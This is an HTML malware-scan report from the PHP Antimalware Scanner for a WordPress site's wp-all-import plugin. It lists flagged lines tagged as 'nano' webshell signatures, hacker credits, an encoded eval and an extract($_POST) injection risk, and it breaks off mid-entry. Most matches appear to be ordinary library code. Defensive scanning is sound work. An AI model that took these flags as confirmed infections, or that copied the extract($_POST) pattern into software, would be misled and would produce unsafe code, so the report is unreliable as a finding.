File: /var/www/likoholding/liko-holding.com.ua/virusscan1.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset='utf-8'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<title>Scan Report</title>
<link rel="icon" type="image/png" sizes="16x16" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAACxMAAAsTAQCanBgAAAMoSURBVDhPZVPfaxxVFP7u/Mjszsya7KbbRNJ00xehWLCbQvGlfWj/gj4oCHlQH1aEin+Czz7mQdBiiiColD7oi1ow26gVKmqChobmRzXRupWku7PJ7M7s3J+eGVREL3PnXoY553zn+77D8J919eMvmsaYltH6ktZ6TisF2rtaqrbW6tp7Lz239tevxfonwWufLPvGYFEr+fLjbs/qHR4iHgxheS4qlQCh46JsOxpKXVdKvf7R1ReTPM7OX1TVh8FncRxfWb+/xRJmoXpqDokw8CYnEcxMg40HGKmMIR3NG6kuzM2fv7H9dVtYeQKCu0jBF3/a2oEuh2CVCUT9AeCOwQkD+LUqJk7OYvqZMyg9NQuh+cVsEC/msezVm583jTY/rK7fY6rkw6lOAjwDY9Sd7WBydgr1E3X4T/gIxym54uh8+x067btGpKNzFhHV2j84YBkR4IYV2JKDUWVjUXdSwC95ODtdR3WigkrgoeaNIfpxFQc795nkWcsidi93H/fguB6CSohjT06BaQWivmhhLCih79ko8RQbH97Eu88vYOWtt/Hw3jpkll12lBSNJCVC/RA8TWFy2dIhtOUSw4RKpFh9/wNs3P4Sw24X0cY6FBcUrCA4b1hKylxnKCGQ9A9xuH8APhxCxEdIOg9x550lrN1aQf/3PxBtbhLhBsym9iwLWnBQArHnOQ5UNiq2HBzRyYuTkxcU4RhFEZJHvxWuYdRqfvGCEJKLPSvt9ZZLzEAM4iKjJiSKTn7Ux7Czh/jnLbpHcMdrsIgTy3ULBEHtGCGXy/apc892ILLWo+1NlnQJfpIR9D2M6C6pFfIIPN9H5Xi9UCYvZOfyzpw0MOYV69M331hTnC/NTE8R7AFEtE8KGHIXPSQtGQJOuYz66adJVknVc280cg8tba7cWius3Jg/v8xgLpQdpxFHPchcDWrDkCcMBYlhjOjBNhR9r9aPY8wrfUXQFnq//iKKBLvf3xUnzjRvEEdTYbl0linJ/ibVECe20SgReePVmrZse4mwLTz45nYxTP8b5+aVF5payhbJe4lOGudC5l1ybJuqXtu50/7XOAN/Ar01xcqF8C92AAAAAElFTkSuQmCC" />
<meta name='viewport' content='width=device-width, initial-scale=1'>
<!-- JQuery -->
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" crossorigin="anonymous"></script>
<!-- Bootstrap -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css" crossorigin="anonymous">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.4/umd/popper.min.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.min.js" crossorigin="anonymous"></script>
<!-- Font Awesome -->
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css" crossorigin="anonymous">
<!-- Google Fonts -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700&display=swap">
<!-- MDB -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.19.1/css/mdb.min.css">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.19.1/js/mdb.min.js"></script>
<!-- Datatables -->
<link rel="stylesheet" href="https://cdn.datatables.net/1.10.23/css/dataTables.bootstrap4.min.css" crossorigin="anonymous">
<script type="text/javascript" src="https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://cdn.datatables.net/1.10.23/js/dataTables.bootstrap4.min.js" crossorigin="anonymous"></script>
<style type="text/css">
body{padding-top:3.7rem;overflow-x:hidden}.table code{overflow-wrap:break-word;word-break:break-word;hyphens:auto}.table>tbody>tr>th{vertical-align:middle}.table>tbody>tr>td p{line-height:100%}#report>tbody>tr>td table td+td{width:50%}#report>tbody>tr{cursor:pointer}#report .dataTables_wrapper{cursor:auto}.dataTables_wrapper{margin-top:1rem}.badge-fileinfo{color:#222!important;background-color:rgba(0,0,0,.05)!important}.pagination .page-item.active .page-link{border-radius:100%;width:35px;height:35px;text-align:center;line-height:35px;padding:0}#back-top{display:none;position:fixed;bottom:20px;border-radius:100%;right:30px;z-index:99;border:none;outline:0;color:#fff;cursor:pointer;vertical-align:middle;padding:0;line-height:50px;font-size:18px;height:50px;width:50px}#back-top:hover{background-color:#555!important}
</style>
<script type="text/javascript">
function expandAll(){$("#report .dataTables_wrapper").show()}function collapseAll(){$("#report .dataTables_wrapper").hide()}function scrollToTop(){document.body.scrollTop=0,document.documentElement.scrollTop=0}!function(o){o(function(){o("#report tr").click(function(t){o(this).find("#report tr table, .dataTables_wrapper").toggle()}),o("#report tr table, #report .dataTables_wrapper").click(function(o){o.stopPropagation()}),window.onscroll=function(){document.body.scrollTop>20||document.documentElement.scrollTop>20?o("#back-top").show():o("#back-top").hide()}})}(jQuery);
</script>
</head>
<body>
<nav class="navbar navbar-dark bg-dark fixed-top">
<div class="container-fluid">
<span class="navbar-brand">
<a href="https://github.com/marcocesarato/PHP-Antimalware-Scanner" class="text-white" target="_blank">
<i class="fab fa-github mr-3"></i>
PHP Antimalware Scanner
</a>
</span>
<span>
<button class="btn btn-sm btn-primary rounded-pill" onclick="expandAll()"><i class="fas fa-expand mr-3"></i> Expand All</button>
<button class="btn btn-sm btn-danger rounded-pill" onclick="collapseAll()"><i class="fas fa-compress mr-3"></i> Collapse All</button>
<a href="https://github.com/marcocesarato/PHP-Antimalware-Scanner" target="_blank">
<button class="btn btn-sm btn-secondary rounded-pill"><i class="fab fa-github mr-3"></i> Github</button>
</a>
</span>
</div>
</nav>
<div class="jumbotron p-3 text-white bg-secondary">
<div class="container">
<h1 class="display-3">Report</h1>
<p>
<b>Version:</b> 0.10.4<br>
<b>Scan date:</b> 2024-02-27 12:58:47<br>
<b>Files analyzed:</b> 946 <b>| Files infected:</b> 21
</p>
</div>
</div>
<div class="container">
<table id="report" class="datatable container table table-bordered"><tbody><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/libraries/pclzip.lib.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 185.99 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 5</span><br><table id="file_0" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2458</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_PRE_ADD</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_PRE_ADD</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2592</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_POST_ADD</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_POST_ADD</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3390</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_PRE_EXTRACT</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_PRE_EXTRACT</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3579</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_POST_EXTRACT</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_POST_EXTRACT</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 5166</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_0").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/plugin.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 41.31 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_1" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function create_function <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `create_function`</p><p><i>[<a href="https://www.php.net/create_function" target="_blank" class="text-primary">https://www.php.net/create_function</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">create_function</span><span style="color: #007700">(</span><span style="color: #DD0000">'$e'</span><span style="color: #007700">, </span><span style="color: #DD0000">'trigger_error($e->getMessage(), E_USER_ERROR);'</span><span style="color: #007700">); } else{ </span><span style="color: #0000BB">$exception_handler </span><span style="color: #007700">= function(</span><span style="color: #0000BB">$e</span><span style="color: #007700">){ </span><span style="color: #0000BB">trigger_error</span><span style="color: #007700">(</span><span style="color: #0000BB">$e</span><span style="color: #007700">-></span><span style="color: #0000BB">getMessage</span><span style="color: #007700">(), </span><span style="color: #0000BB">E_USER_ERROR</span><span style="color: #007700">); }; } </span><span style="color: #0000BB">set_exception_handler</span><span style="color: #007700">(</span><span style="color: #0000BB">$exception_handler</span><span style="color: #007700">); </span><span style="color: #0000BB">$option_name </span><span style="color: #007700">= </span><span style="color: #0000BB">get_class</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">) . </span><span style="color: #DD0000">'_Options'</span><span style="color: #007700">; </span><span style="color: #0000BB">$options_default </span><span style="color: #007700">= </span><span style="color: #0000BB">PMXI_Config</span><span style="color: #007700">::</span><span style="color: #0000BB">createFromFile</span><span style="color: #007700">(</span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">ROOT_DIR </span><span style="color: #007700">. </span><span style="color: #DD0000">'/config/options.php'</span><span style="color: #007700">)-></span><span style="color: #0000BB">toArray</span><span style="color: #007700">(); </span><span style="color: #0000BB">$wpai_options </span><span style="color: #007700">= </span><span style="color: #0000BB">get_option</span><span style="color: #007700">(</span><span style="color: #0000BB">$option_name</span><span style="color: #007700">, </span><span style="color: #0000BB">false</span><span style="color: #007700">); if ( ! </span><span style="color: #0000BB">$wpai_options </span><span style="color: #007700">) </span><span style="color: #0000BB">update_option</span><span style="color: #007700">(</span><span style="color: #0000BB">$option_name</span><span style="color: #007700">, </span><span style="color: #0000BB">$options_default</span><span style="color: #007700">); require_once </span><span style="color: #0000BB">ABSPATH </span><span style="color: #007700">. </span><span style="color: #DD0000">'w...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_1").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/classes/PHPExcel/Reader/Excel5.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 285.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_2" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit hacked_by <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7576</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hacker credits</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Hacked by</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_2").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/classes/PHPExcel/Helper/HTML.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 24.21 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_3" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 265</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">lave</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_3").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/classes/PHPExcel/Shared/PCLZip/pclzip.lib.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 209.23 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 5</span><br><table id="file_4" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2454</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_PRE_ADD</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_PRE_ADD</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2588</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_POST_ADD</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_POST_ADD</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3386</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_PRE_EXTRACT</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_PRE_EXTRACT</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3575</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_POST_EXTRACT</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_POST_EXTRACT</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 5162</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_4").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/classes/PHPExcel/Shared/OLERead.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 10.98 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_5" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit hacked_by <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 308</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hacker credits</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Hacked by</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_5").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/classes/PHPExcel/Shared/File.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.87 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_6" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 176</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_6").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/helpers/functions.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 7.58 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_7" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #DD0000">"return (</span><span style="color: #0000BB">$str</span><span style="color: #DD0000">);"</span><span style="color: #007700">)) ? </span><span style="color: #0000BB">$then </span><span style="color: #007700">: </span><span style="color: #0000BB">$else</span><span style="color: #007700">; } } if (!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'is_empty'</span><span style="color: #007700">)){ function </span><span style="color: #0000BB">is_empty</span><span style="color: #007700">(</span><span style="color: #0000BB">$var</span><span style="color: #007700">) { return empty(</span><span style="color: #0000BB">$var</span><span style="color: #007700">); } } if (!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'pmxi_human_filesize'</span><span style="color: #007700">)){ function </span><span style="color: #0000BB">pmxi_human_filesize</span><span style="color: #007700">(</span><span style="color: #0000BB">$bytes</span><span style="color: #007700">, </span><span style="color: #0000BB">$decimals </span><span style="color: #007700">= </span><span style="color: #0000BB">2</span><span style="color: #007700">) { </span><span style="color: #0000BB">$sz </span><span style="color: #007700">= </span><span style="color: #DD0000">'BKMGTP'</span><span style="color: #007700">; </span><span style="color: #0000BB">$factor </span><span style="color: #007700">= (int) </span><span style="color: #0000BB">floor</span><span style="color: #007700">((</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$bytes</span><span style="color: #007700">) - </span><span style="color: #0000BB">1</span><span style="color: #007700">) / </span><span style="color: #0000BB">3</span><span style="color: #007700">); return </span><span style="color: #0000BB">sprintf</span><span style="color: #007700">(</span><span style="color: #DD0000">"%.</span><span style="color: #007700">{</span><span style="color: #0000BB">$decimals</span><span style="color: #007700">}</span><span style="color: #DD0000">f"</span><span style="color: #007700">, </span><span style="color: #0000BB">$bytes </span><span style="color: #007700">/ </span><span style="color: #0000BB">pow</span><span style="color: #007700">(</span><span style="color: #0000BB">1024</span><span style="color: #007700">, </span><span style="color: #0000BB">$factor</span><span style="color: #007700">)) . (isset(</span><span style="color: #0000BB">$sz</span><span style="color: #007700">[</span><span style="color: #0000BB">$factor</span><span style="color: #007700">]) ? </span><span style="color: #0000BB">$sz</span><span style="color: #007700">[</span><span style="color: #0000BB">$factor</span><span style="color: #007700">] : </span><span style="color: #DD0000">''</span><span style="color: #007700">); } } if ( ! </span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'pmxi_get_remote_image_ext'</span><span style="color: #007700">)){ function </span><span style="color: #0000BB">pmxi_get_remote_image_ext</span><span style="color: #007700">(</span><span style="color: #0000BB">$fil</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_7").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/actions/wp_ajax_import_failed.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 799.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_8" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit extract_global <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 12</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, extracting global var arrays, allow remote attackers to inject PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">extract</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_8").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/wp-all-import/controllers/controller/admin.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 7.84 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_9" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function create_function <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `create_function`</p><p><i>[<a href="https://www.php.net/create_function" target="_blank" class="text-primary">https://www.php.net/create_function</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">create_function</span><span style="color: #007700">(</span><span style="color: #DD0000">'$str'</span><span style="color: #007700">, </span><span style="color: #DD0000">'return "http://" == $str || "ftp://" == $str ? "" : $str;'</span><span style="color: #007700">); </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">input</span><span style="color: #007700">-></span><span style="color: #0000BB">addFilter</span><span style="color: #007700">(</span><span style="color: #0000BB">$filter</span><span style="color: #007700">); } global </span><span style="color: #0000BB">$wp_styles</span><span style="color: #007700">; if ( ! </span><span style="color: #0000BB">is_a</span><span style="color: #007700">(</span><span style="color: #0000BB">$wp_styles</span><span style="color: #007700">, </span><span style="color: #DD0000">'WP_Styles'</span><span style="color: #007700">)) </span><span style="color: #0000BB">$wp_styles </span><span style="color: #007700">= new </span><span style="color: #0000BB">WP_Styles</span><span style="color: #007700">(); </span><span style="color: #0000BB">wp_enqueue_style</span><span style="color: #007700">(</span><span style="color: #DD0000">'jquery-ui'</span><span style="color: 